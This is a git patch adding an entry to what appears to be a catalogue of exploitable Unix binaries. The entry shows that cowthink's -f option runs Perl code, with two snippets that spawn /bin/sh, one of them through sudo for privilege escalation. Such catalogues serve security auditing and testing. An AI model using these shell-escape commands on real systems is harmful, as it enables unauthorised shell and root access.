From 48ebfc9cd17328a82eec31f13a0be5334e4f9ed4 Mon Sep 17 00:00:00 2001 From: "Mr. Robot" Date: Thu, 12 Nov 2020 07:55:54 +0100 Subject: [PATCH] add data source for cowthink --- data/cowthink.json | 14 ++++++++++++++ 1 file changed, 14 insertions(+) create mode 100644 data/cowthink.json diff --git a/data/cowthink.json b/data/cowthink.json new file mode 100644 index 0000000..ccf4742 --- /dev/null +++ b/data/cowthink.json @@ -0,0 +1,14 @@ +--- +description: It allows to execute Perl code, other functions may apply. +functions: + shell: + - code: | + TF=$(mktemp) + echo 'exec "/bin/sh";' >$TF + cowthink -f $TF x + sudo: + - code: | + TF=$(mktemp) + echo 'exec "/bin/sh";' >$TF + sudo cowthink -f $TF x +---